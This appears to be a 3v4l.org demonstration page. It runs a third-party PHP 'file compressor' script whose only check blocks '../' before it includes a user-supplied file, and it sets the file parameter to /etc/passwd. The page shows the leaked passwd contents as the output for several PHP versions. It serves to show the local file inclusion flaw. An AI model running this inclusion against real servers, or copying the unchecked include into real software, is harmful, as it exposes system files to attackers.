3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php // User visits example.com/file_compressor.php?file=/etc/passwd $_GET['file'] = '/etc/passwd'; // Below is directly copied from https://raw.githubusercontent.com/camoufl4g3/PHP/master/file_compressor.php #https://twitter.com/ramal_h #file compressor header('Content-type: text/css'); ob_start("compress"); function compress( $minify ) { $minify = preg_replace( '!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $minify ); $minify = str_replace( array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '), '', $minify ); return $minify; } $file = $_GET['file']; if( ($file == '') || (strpos($file, '../') !== false)) exit('Hacking attempt'); else include $_GET['file']; ob_end_flush();
based on ZCrOV
Output for 7.0.20, 7.1.5 - 7.2.0
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/usr/bin/nologindaemon:x:2:2:daemon:/:/usr/bin/nologinmail:x:8:12:mail:/var/spool/mail:/usr/bin/nologinftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologinhttp:x:33:33:http:/srv/http:/usr/bin/nologinnobody:x:99:99:nobody:/:/usr/bin/nologinsystemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologinsystemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologinsystemd-network:x:193:193:systemd-network:/:/usr/bin/nologinsystemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologinsystemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
Output for 5.5.0 - 7.0.10, 7.1.0
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/usr/bin/nologindaemon:x:2:2:daemon:/:/usr/bin/nologinmail:x:8:12:mail:/var/spool/mail:/usr/bin/nologinftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologinhttp:x:33:33:http:/srv/http:/usr/bin/nologinuuidd:x:68:68:uuidd:/:/usr/bin/nologindbus:x:81:81:dbus:/:/usr/bin/nologinnobody:x:99:99:nobody:/:/usr/bin/nologinsystemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologinsystemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologinsystemd-network:x:193:193:systemd-network:/:/usr/bin/nologinsystemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologinsystemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin